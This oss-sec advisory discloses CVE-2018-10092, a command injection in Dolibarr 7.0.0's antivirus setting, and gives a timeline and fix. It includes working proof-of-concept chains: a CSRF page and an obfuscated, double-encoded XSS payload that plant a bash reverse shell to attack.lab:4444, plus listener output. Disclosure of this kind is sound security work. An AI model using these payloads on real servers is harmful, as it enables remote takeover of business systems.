oss-sec mailing list archives
[CVE-2018-10092] Dolibarr admin panel authenticated Remote Code Execution (RCE) vulnerability
From: Sysdream Labs <labs () sysdream com>
Date: Mon, 21 May 2018 08:51:33 +0200
# [CVE-2018-10092] Dolibarr admin panel authenticated Remote Code Execution (RCE) vulnerability ## Description Dolibarr is an "Open Source ERP & CRM for Business" used by many companies worldwide. It is available through [GitHub](https://github.com/Dolibarr/dolibarr) or as distribution packages (e.g .deb package). **Threat** By tricking a logged-in admin into clicking a malicious link, or by getting admin privileges in some other way, a remote attacker can achieve remote code execution (RCE) on the target server. **Expectation** User input should be filtered to avoid arbitrary OS command injection. Arbitrary external commands should be defined in a configuration file which is not editable by an ERP user. ## Vulnerability type **CVE ID**: CVE-2018-10092 **Access Vector**: remote **Security Risk**: high **Vulnerability**: CWE-78 **CVSS Base Score**: 9.0 **CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H ## Details The admin panel allows to define an antivirus command and parameters, which are run every time a file is uploaded and scanned. However, it is possible for an authenticated user to specify an arbitrary command to be run instead of the antivirus scanner. The injected command would be triggered after uploading a file to scan, which effectively leads to executing arbitrary code on the server. The command to be run is stored in the config variables `MAIN_ANTIVIRUS_COMMAND` and `MAIN_ANTIVIRUS_PARAM`, which can be set by the admin through the Web interface. Then, when a file is uploaded by a user, the function `dol_move_uploaded_file()` (defined in `files.lib.php`) is called: ```php function dol_move_uploaded_file($src_file, $dest_file, $allowoverwrite, $disablevirusscan=0, $uploaderrorcode=0, $nohook=0, $varfiles='addedfile') { ... snip ... // If we need to make a virus scan if (empty($disablevirusscan) && file_exists($src_file)) { $checkvirusarray=dolCheckVirus($src_file); if (count($checkvirusarray)) { dol_syslog('Files.lib::dol_move_uploaded_file File "'.$src_file.'" (target name "'.$dest_file.'") KO with antivirus: result='.$result.' errors='.join(',',$checkvirusarray), LOG_WARNING); return 'ErrorFileIsInfectedWithAVirus: '.join(',',$checkvirusarray); } } ... snip ... return 1; // Success } ``` Which calls `dolCheckVirus()`: ```php function dolCheckVirus($src_file) { global $conf; if (! empty($conf->global->MAIN_ANTIVIRUS_COMMAND)) { if (! class_exists('AntiVir')) { require_once DOL_DOCUMENT_ROOT.'/core/class/antivir.class.php'; } $antivir=new AntiVir($db); $result = $antivir->dol_avscan_file($src_file); if ($result < 0) // If virus or error, we stop here { $reterrors=$antivir->errors; return $reterrors; } } return array(); } ``` Which in turn calls `dol_avscan_file()` (defined in `antivir.class.php`), where the return value of `getCliCommand()` is passed to the `exec()` PHP function: ```php function dol_avscan_file($file) { global $conf; $return = 0; if (preg_match('/\.virus$/i', $file)) { $this->errors='File has an extension saying file is a virus'; return -97; } $fullcommand=$this->getCliCommand($file); //$fullcommand='"c:\Program Files (x86)\ClamWin\bin\clamscan.exe" --database="C:\Program Files (x86)\ClamWin\lib" "c:\temp\aaa.txt"'; $fullcommand.=' 2>&1'; // This is to get error output $output=array(); $return_var=0; $safemode=ini_get("safe_mode"); // Create a clean fullcommand dol_syslog("AntiVir::dol_avscan_file Run command=".$fullcommand." with safe_mode ".($safemode?"on":"off")); // Run CLI command. If run of Windows, you can get return with echo %ERRORLEVEL% $lastline=exec($fullcommand, $output, $return_var); //print "x".$lastline." - ".join(',',$output)." - ".$return_var."y";exit; ... snip ... // If return code = 0 return 1; } ``` The `getCliCommand()` routine uses the `MAIN_ANTIVIRUS_COMMAND` to format the antivirus command to be executed. Even though `escapeshellarg()` is used, it is possible for this variable to hold arbitrary shell commands which will be concatenated and executed: ```php function getCliCommand($file) { global $conf; $maxreclevel = 5 ; // maximal recursion level $maxfiles = 1000; // maximal number of files to be scanned within archive $maxratio = 200; // maximal compression ratio $bz2archivememlim = 0; // limit memory usage for bzip2 (0/1) $maxfilesize = 10485760; // archived files larger than this value (in bytes) will not be scanned $command=$conf->global->MAIN_ANTIVIRUS_COMMAND; $param=$conf->global->MAIN_ANTIVIRUS_PARAM; $param=preg_replace('/%maxreclevel/',$maxreclevel,$param); $param=preg_replace('/%maxfiles/',$maxfiles,$param); $param=preg_replace('/%maxratio/',$maxratio,$param); $param=preg_replace('/%bz2archivememlim/',$bz2archivememlim,$param); $param=preg_replace('/%maxfilesize/',$maxfilesize,$param); $param=preg_replace('/%file/',trim($file),$param); if (! preg_match('/%file/',$conf->global->MAIN_ANTIVIRUS_PARAM)) $param=$param." ".escapeshellarg(trim($file)); if (preg_match("/\s/",$command)) $command=escapeshellarg($command); // Use quotes on command. Using escapeshellcmd fails. $ret=$command.' '.$param; //$ret=$command.' '.$param.' 2>&1'; //print "xx".$ret."xx";exit; return $ret; } ``` ## Proof of Concept 1 : Exploiting CSRF control bypass Dolibarr generates an anti-CSRF token which is not checked by default. Another control on the `Referer` header is also perfomed (in `filefunc.inc.php`): ``` // Security: CSRF protection // This test check if referrer ($_SERVER['HTTP_REFERER']) is same web site than Dolibarr ($_SERVER['HTTP_HOST']) // when we post forms (we allow GET to allow direct link to access a particular page). // Note about $_SERVER[HTTP_HOST/SERVER_NAME]: http://shiflett.org/blog/2006/mar/server-name-versus-http-host if (! defined('NOCSRFCHECK') && empty($dolibarr_nocsrfcheck)) { if (! empty($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] != 'GET' && ! empty($_SERVER['HTTP_HOST']) && (empty($_SERVER['HTTP_REFERER']) || ! preg_match('/'.preg_quote($_SERVER['HTTP_HOST'],'/').'/i', $_SERVER['HTTP_REFERER']))) { //print 'NOCSRFCHECK='.defined('NOCSRFCHECK').' REQUEST_METHOD='.$_SERVER['REQUEST_METHOD'].' HTTP_POST='.$_SERVER['HTTP_HOST'].' HTTP_REFERER='.$_SERVER['HTTP_REFERER']; print "Access refused by CSRF protection in main.inc.php. Referer of form is outside server that serve the POST.\n"; print "If you access your server behind a proxy using url rewriting, you might check that all HTTP header is propagated (or add the line \$dolibarr_nocsrfcheck=1 into your conf.php file).\n"; die; } // Another test is done later on token if option MAIN_SECURITY_CSRF_WITH_TOKEN is on. } if (empty($do ``` However, this controlled can be bypassed since the check only ensures the header contains the server's domain name in its URL. If the victim application is at `http://dolibarr.lab`, requesting from `http://attack.lab/dolibar.lab/exploit.html` would therefore bypass the control. By tricking a logged-in admin into clicking our exploit link, we can therefore make him change the antivirus command to our exploit payload silently. Here is a sample exploit page which will change the antivirus scan command to a reverse shell payload: ```html <html> <body> <form action="http://dolibarr.lab:2080/dolibarr/admin/security_file.php" method="POST" id="form1" target="iframe1"> <input type="hidden" name="action" value="updateform" /> <input type="hidden" name="MAIN_UPLOAD_DOC" value="2048" /> <input type="hidden" name="MAIN_UMASK" value="0664" /> <input type="hidden" name="MAIN_ANTIVIRUS_COMMAND" value="test" /> <input type="hidden" name="MAIN_ANTIVIRUS_PARAM" value=";/bin/bash -c '/bin/bash>/dev/tcp/attack.lab/4444 0>&1 2>&1 &'" /> <input type="hidden" name="button" value="Modify" /> </form> <iframe style="display: hidden" height="0" width="0" frameborder="0" name="iframe1"></iframe> <script> document.forms[0].submit(); </script> </body> </html> ``` The file is hosted in a `dolibarr.lab:2080` subdirectory so the `Referer` header will look similar to the following when the admin visits our page: ``` POST /dolibarr/admin/security_file.php HTTP/1.1 Host: dolibarr.lab:2080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://attack.lab/RCE/dolibarr.lab:2080/ Cookie: DOLSESSID_cac4a1e49e4040e845340fe919bd202b=s14k43jo6qsscat79c5ofdb822 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 214 action=updateform&MAIN_UPLOAD_DOC=2048&MAIN_UMASK=0664&MAIN_ANTIVIRUS_COMMAND=test&MAIN_ANTIVIRUS_PARAM=%3B%2Fbin%2Fbash+-c+%27%2Fbin%2Fbash%3E%2Fdev%2Ftcp%2Fattack.lab%2F4444+0%3E%261+2%3E%261+%26%27&button=Modify ``` Hence the request is accepted by the Dolibarr application and the antivirus command is replaced with our payload. Next time a file is uploaded, a reverse shell is opened on our attacking machine: ``` POST /dolibarr/admin/security_file.php HTTP/1.1 Host: dolibarr.lab:2080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://dolibarr.lab:2080/dolibarr/admin/security_file.php Cookie: DOLSESSID_cac4a1e49e4040e845340fe919bd202b=s14k43jo6qsscat79c5ofdb822 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------------------214479305914244921141324238339 Content-Length: 866 -----------------------------214479305914244921141324238339 Content-Disposition: form-data; name="section_dir" -----------------------------214479305914244921141324238339 Content-Disposition: form-data; name="section_id" 0 -----------------------------214479305914244921141324238339 Content-Disposition: form-data; name="token" c2bf19bb9927006593e01e8cd1e08e10ef7a8605 -----------------------------214479305914244921141324238339 Content-Disposition: form-data; name="max_file_size" 2097152 -----------------------------214479305914244921141324238339 Content-Disposition: form-data; name="userfile[]"; filename="test.log" Content-Type: text/x-log foobarr -----------------------------214479305914244921141324238339 Content-Disposition: form-data; name="sendit" Send file -----------------------------214479305914244921141324238339-- ``` ``` $ nc -lvp 4444 listening on [any] 4444 ... 192.168.0.15: inverse host lookup failed: Unknown host connect to [192.168.0.15] from (UNKNOWN) [192.168.0.15] 38080 id uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ## Proof of Concept 2 : Exploiting XSS vulnerability By exploiting the XSS vulnerability on the application, it is possible to both set the antivirus command and upload a dummy file so as to trigger our payload immediately. Here is an exploit code that will update the antivirus command to a reverse shell payload and trigger it with a file upload. ```php function stage1() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http:\/\/dolibarr.lab:2080\/dolibarr\/admin\/security_file.php", true); xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded"); xhr.withCredentials = true; var body = "action=updateform&MAIN_UPLOAD_DOC=2048&MAIN_UMASK=0664&MAIN_ANTIVIRUS_COMMAND=test&MAIN_ANTIVIRUS_PARAM=%3B%2Fbin%2Fbash+-c+%27%2Fbin%2Fbash%3E%2Fdev%2Ftcp%2Fattack.lab%2F4444+0%3E%261+2%3E%261+%26%27&button=Modify"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } function stage2() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://dolibarr.lab:2080\/dolibarr\/admin\/security_file.php", true); xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------13516173183538375091983714991"); xhr.withCredentials = true; var body = "-----------------------------13516173183538375091983714991\r\n" + "Content-Disposition: form-data; name=\"userfile[]\"; filename=\"test.txt\"\r\n" + "Content-Type: text/plain\r\n" + "\r\n" + "foobar\r\n" + "-----------------------------13516173183538375091983714991\r\n" + "Content-Disposition: form-data; name=\"sendit\"\r\n" + "\r\n" + "Send file\r\n" + "-----------------------------13516173183538375091983714991--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } stage1(); setTimeout(stage2, 2000); ``` To deliver it, we will hex encode it and paste it into our vulnerable XSS link: **hex decoder function** ```php function hex2a(hex) {var str = "";for(var i = 0; i < hex.length;i+=2){str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));}return str;} ``` **urlencoded twice** ``` %25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%32%30%25%36%38%25%36%35%25%37%38%25%33%32%25%36%31%25%32%38%25%36%38%25%36%35%25%37%38%25%32%39%25%32%30%25%37%62%25%37%36%25%36%31%25%37%32%25%32%30%25%37%33%25%37%34%25%37%32%25%32%30%25%33%64%25%32%30%25%32%32%25%32%32%25%33%62%25%36%36%25%36%66%25%37%32%25%32%38%25%37%36%25%36%31%25%37%32%25%32%30%25%36%39%25%32%30%25%33%64%25%32%30%25%33%30%25%33%62%25%32%30%25%36%39%25%32%30%25%33%63%25%32%30%25%36%38%25%36%35%25%37%38%25%32%65%25%36%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%62%25%36%39%25%32%62%25%33%64%25%33%32%25%32%39%25%37%62%25%37%33%25%37%34%25%37%32%25%32%30%25%32%62%25%33%64%25%32%30%25%35%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%36%36%25%37%32%25%36%66%25%36%64%25%34%33%25%36%38%25%36%31%25%37%32%25%34%33%25%36%66%25%36%34%25%36%35%25%32%38%25%37%30%25%36%31%25%37%32%25%37%33%25%36%35%25%34%39%25%36%65%25%37%34%25%32%38%25%36%38%25%36%35%25%37%38%25%32%65%25%37%33%25%37%35%25%36%32%25%37%33%25%37%34%25%37%32%25%32%38%25%36%39%25%32%63%25%32%30%25%33%32%25%32%39%25%32%63%25%32%30%25%33%31%25%33%36%25%32%39%25%32%39%25%33%62%25%37%64%25%37%32%25%36%35%25%37%34%25%37%35%25%37%32%25%36%65%25%32%30%25%37%33%25%37%34%25%37%32%25%33%62%25%37%64%25%30%61 ``` ``` $ cat xssrce.js|xxd -ps|tr -d '\n' 66756e6374696f6e2073746167653128290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a5c2f5c2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822416363657074222c2022746578745c2f68746d6c2c6170706c69636174696f6e5c2f7868746d6c2b786d6c2c6170706c69636174696f6e5c2f786d6c3b713d302e392c2a5c2f2a3b713d302e3822293b0a202020207868722e7365745265717565737448656164657228224163636570742d4c616e6775616765222c2022656e2d55532c656e3b713d302e3522293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226170706c69636174696f6e5c2f782d7777772d666f726d2d75726c656e636f64656422293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d2022616374696f6e3d757064617465666f726d264d41494e5f55504c4f41445f444f433d32303438264d41494e5f554d41534b3d30363634264d41494e5f414e544956495255535f434f4d4d414e443d74657374264d41494e5f414e544956495255535f504152414d3d25334225324662696e253246626173682b2d632b25323725324662696e2532466261736825334525324664657625324674637025324661747461636b2e6c6162253246343434342b30253345253236312b32253345253236312b25323625323726627574746f6e3d4d6f64696679223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a20202020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a66756e6374696f6e2073746167653228290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a2f2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226d756c7469706172745c2f666f726d2d646174613b20626f756e646172793d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d313335313631373331383335333833373530393139383337313439393122293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d20222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c227573657266696c655b5d5c223b2066696c656e616d653d5c22746573742e7478745c225c725c6e22202b200a2020202022436f6e74656e742d547970653a20746578742f706c61696e5c725c6e22202b200a20202020225c725c6e22202b200a2020202022666f6f6261725c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c2273656e6469745c225c725c6e22202b200a20202020225c725c6e22202b200a202020202253656e642066696c655c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939312d2d5c725c6e223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a2020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a73746167653128293b0a73657454696d656f7574287374616765322c2032303030293b0a ``` **Javascript payload** ```javascript eval(unescape(unescape("%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%32%30%25%36%38%25%36%35%25%37%38%25%33%32%25%36%31%25%32%38%25%36%38%25%36%35%25%37%38%25%32%39%25%32%30%25%37%62%25%37%36%25%36%31%25%37%32%25%32%30%25%37%33%25%37%34%25%37%32%25%32%30%25%33%64%25%32%30%25%32%32%25%32%32%25%33%62%25%36%36%25%36%66%25%37%32%25%32%38%25%37%36%25%36%31%25%37%32%25%32%30%25%36%39%25%32%30%25%33%64%25%32%30%25%33%30%25%33%62%25%32%30%25%36%39%25%32%30%25%33%63%25%32%30%25%36%38%25%36%35%25%37%38%25%32%65%25%36%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%62%25%36%39%25%32%62%25%33%64%25%33%32%25%32%39%25%37%62%25%37%33%25%37%34%25%37%32%25%32%30%25%32%62%25%33%64%25%32%30%25%35%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%36%36%25%37%32%25%36%66%25%36%64%25%34%33%25%36%38%25%36%31%25%37%32%25%34%33%25%36%66%25%36%34%25%36%35%25%32%38%25%37%30%25%36%31%25%37%32%25%37%33%25%36%35%25%34%39%25%36%65%25%37%34%25%32%38%25%36%38%25%36%35%25%37%38%25%32%65%25%37%33%25%37%35%25%36%32%25%37%33%25%37%34%25%37%32%25%32%38%25%36%39%25%32%63%25%32%30%25%33%32%25%32%39%25%32%63%25%32%30%25%33%31%25%33%36%25%32%39%25%32%39%25%33%62%25%37%64%25%37%32%25%36%35%25%37%34%25%37%35%25%37%32%25%36%65%25%32%30%25%37%33%25%37%34%25%37%32%25%33%62%25%37%64%25%30%61")));eval(hex2a("66756e6374696f6e2073746167653128290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a5c2f5c2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822416363657074222c2022746578745c2f68746d6c2c6170706c69636174696f6e5c2f7868746d6c2b786d6c2c6170706c69636174696f6e5c2f786d6c3b713d302e392c2a5c2f2a3b713d302e3822293b0a202020207868722e7365745265717565737448656164657228224163636570742d4c616e6775616765222c2022656e2d55532c656e3b713d302e3522293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226170706c69636174696f6e5c2f782d7777772d666f726d2d75726c656e636f64656422293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d2022616374696f6e3d757064617465666f726d264d41494e5f55504c4f41445f444f433d32303438264d41494e5f554d41534b3d30363634264d41494e5f414e544956495255535f434f4d4d414e443d74657374264d41494e5f414e544956495255535f504152414d3d25334225324662696e253246626173682b2d632b25323725324662696e2532466261736825334525324664657625324674637025324661747461636b2e6c6162253246343434342b30253345253236312b32253345253236312b25323625323726627574746f6e3d4d6f64696679223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a20202020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a66756e6374696f6e2073746167653228290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a2f2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226d756c7469706172745c2f666f726d2d646174613b20626f756e646172793d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d313335313631373331383335333833373530393139383337313439393122293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d20222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c227573657266696c655b5d5c223b2066696c656e616d653d5c22746573742e7478745c225c725c6e22202b200a2020202022436f6e74656e742d547970653a20746578742f706c61696e5c725c6e22202b200a20202020225c725c6e22202b200a2020202022666f6f6261725c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c2273656e6469745c225c725c6e22202b200a20202020225c725c6e22202b200a202020202253656e642066696c655c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939312d2d5c725c6e223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a2020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a73746167653128293b0a73657454696d656f7574287374616765322c2032303030293b0a")) ``` **Resulting exploit link** ``` http://dolibarr.lab:2080/dolibarr/adherents/subscription/list.php?date_select=2018%3E%3Cimg+src%3dx+onerror%3deval(unescape(unescape("%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%32%30%25%36%38%25%36%35%25%37%38%25%33%32%25%36%31%25%32%38%25%36%38%25%36%35%25%37%38%25%32%39%25%32%30%25%37%62%25%37%36%25%36%31%25%37%32%25%32%30%25%37%33%25%37%34%25%37%32%25%32%30%25%33%64%25%32%30%25%32%32%25%32%32%25%33%62%25%36%36%25%36%66%25%37%32%25%32%38%25%37%36%25%36%31%25%37%32%25%32%30%25%36%39%25%32%30%25%33%64%25%32%30%25%33%30%25%33%62%25%32%30%25%36%39%25%32%30%25%33%63%25%32%30%25%36%38%25%36%35%25%37%38%25%32%65%25%36%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%62%25%36%39%25%32%62%25%33%64%25%33%32%25%32%39%25%37%62%25%37%33%25%37%34%25%37%32%25%32%30%25%32%62%25%33%64%25%32%30%25%35%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%36%36%25%37%32%25%36%66%25%36%64%25%34%33%25%36%38%25%36%31%25%37%32%25%34%33%25%36%66%25%36%34%25%36%35%25%32%38%25%37%30%25%36%31%25%37%32%25%37%33%25%36%35%25%34%39%25%36%65%25%37%34%25%32%38%25%36%38%25%36%35%25%37%38%25%32%65%25%37%33%25%37%35%25%36%32%25%37%33%25%37%34%25%37%32%25%32%38%25%36%39%25%32%63%25%32%30%25%33%32%25%32%39%25%32%63%25%32%30%25%33%31%25%33%36%25%32%39%25%32%39%25%33%62%25%37%64%25%37%32%25%36%35%25%37%34%25%37%35%25%37%32%25%36%65%25%32%30%25%37%33%25%37%34%25%37%32%25%33%62%25%37%64%25%30%61")));eval(hex2a("66756e6374696f6e2073746167653128290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a5c2f5c2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822416363657074222c2022746578745c2f68746d6c2c6170706c69636174696f6e5c2f7868746d6c2b786d6c2c6170706c69636174696f6e5c2f786d6c3b713d302e392c2a5c2f2a3b713d302e3822293b0a202020207868722e7365745265717565737448656164657228224163636570742d4c616e6775616765222c2022656e2d55532c656e3b713d302e3522293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226170706c69636174696f6e5c2f782d7777772d666f726d2d75726c656e636f64656422293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d2022616374696f6e3d757064617465666f726d264d41494e5f55504c4f41445f444f433d32303438264d41494e5f554d41534b3d30363634264d41494e5f414e544956495255535f434f4d4d414e443d74657374264d41494e5f414e544956495255535f504152414d3d25334225324662696e253246626173682b2d632b25323725324662696e2532466261736825334525324664657625324674637025324661747461636b2e6c6162253246343434342b30253345253236312b32253345253236312b25323625323726627574746f6e3d4d6f64696679223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a20202020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a66756e6374696f6e2073746167653228290a7b0a2020202076617220786872203d206e657720584d4c487474705265717565737428293b0a202020207868722e6f70656e2822504f5354222c2022687474703a2f2f646f6c69626172722e6c61623a323038305c2f646f6c69626172725c2f61646d696e5c2f73656375726974795f66696c652e706870222c2074727565293b0a202020207868722e736574526571756573744865616465722822436f6e74656e742d54797065222c20226d756c7469706172745c2f666f726d2d646174613b20626f756e646172793d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d313335313631373331383335333833373530393139383337313439393122293b0a202020207868722e7769746843726564656e7469616c73203d20747275653b0a2020202076617220626f6479203d20222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c227573657266696c655b5d5c223b2066696c656e616d653d5c22746573742e7478745c225c725c6e22202b200a2020202022436f6e74656e742d547970653a20746578742f706c61696e5c725c6e22202b200a20202020225c725c6e22202b200a2020202022666f6f6261725c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939315c725c6e22202b200a2020202022436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d5c2273656e6469745c225c725c6e22202b200a20202020225c725c6e22202b200a202020202253656e642066696c655c725c6e22202b200a20202020222d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d31333531363137333138333533383337353039313938333731343939312d2d5c725c6e223b0a202020207661722061426f6479203d206e65772055696e7438417272617928626f64792e6c656e677468293b0a20202020666f7220287661722069203d20303b2069203c2061426f64792e6c656e6774683b20692b2b290a2020202061426f64795b695d203d20626f64792e63686172436f646541742869293b200a202020207868722e73656e64286e657720426c6f62285b61426f64795d29293b0a7d0a0a73746167653128293b0a73657454696d656f7574287374616765322c2032303030293b0a"))%3E ``` By tricking an admin into visiting our link, we get a reverse shell on the Web server: ``` $ nc -lvp 4444 listening on [any] 4444 ... 192.168.0.15: inverse host lookup failed: Unknown host connect to [192.168.0.15] from (UNKNOWN) [192.168.0.15] 38504 id uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` ## Affected versions * Version 7.0.0 (last stable version as of March 2018) - previous versions are probably also vulnerable but not tested ## Solution Update to 7.0.2 ([changelog](https://raw.githubusercontent.com/Dolibarr/dolibarr/develop/ChangeLog)) ## Timeline (dd/mm/yyyy) * 18/03/2018 : Initial discovery * 17/04/2018 : Contact with the editor * 17/04/2018 : Editor acknowledges the vulnerability * 18/04/2018 : Editor announces fixes in version 7.0.2 * 21/05/2018 : Vulnerability disclosure ## Credits * Kevin LOCATI (k dot locati at sysdream dot com)
Attachment:
signature.asc
Description: OpenPGP digital signature
Current thread:
- [CVE-2018-10092] Dolibarr admin panel authenticated Remote Code Execution (RCE) vulnerability Sysdream Labs (May 20)